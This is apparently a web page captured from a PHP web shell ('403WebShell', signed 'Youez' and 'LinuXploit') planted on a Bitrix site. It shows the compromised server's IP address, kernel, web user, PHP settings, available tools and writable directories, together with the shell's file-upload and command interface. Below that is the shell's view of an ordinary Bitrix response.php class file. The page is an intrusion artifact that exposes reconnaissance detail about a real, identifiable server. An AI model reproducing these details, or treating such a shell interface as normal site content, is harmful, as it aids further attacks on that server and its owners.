%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.226.164.82
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/response.php
<?php
namespace Bitrix\Main;

abstract class Response
{
	/** @var string */
	protected $content;

	public function __construct()
	{
	}

	public function clear()
	{
	}

	public function flush($text = '')
	{
		$this->writeBody($text);
	}

	/**
	 * Sets content.
	 * Valid types are strings, numbers, null, and objects that implement a __toString() method.
	 *
	 * @param mixed $content Content that can be cast to string.
	 *
	 * @return $this
	 * @throws ArgumentTypeException
	 */
	public function setContent($content)
	{
		if (!$this->checkContent($content))
		{
			throw new ArgumentTypeException('content', 'string');
		}

		$this->content = (string)$content;

		return $this;
	}

	/**
	 * Appends content.
	 * Valid types are strings, numbers, null, and objects that implement a __toString() method.
	 *
	 * @param mixed $content Content that can be cast to string.
	 *
	 * @return $this
	 * @throws ArgumentTypeException
	 */
	public function appendContent($content)
	{
		if (!$this->checkContent($content))
		{
			throw new ArgumentTypeException('content', 'string');
		}

		$this->content .= (string)$content;

		return $this;
	}

	protected function checkContent($content)
	{
		return (
			$content === null ||
			is_string($content) ||
			is_numeric($content) ||
			is_callable(array($content, '__toString'))
		);
	}

	/**
	 * Returns content of response.
	 *
	 * @return string
	 */
	public function getContent()
	{
		return $this->content;
	}

	/**
	 * Sends content to the output.
	 *
	 * @return void
	 */
	public function send()
	{
		$this->flush($this->content);
	}

	protected function writeBody($text)
	{
		echo $text;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit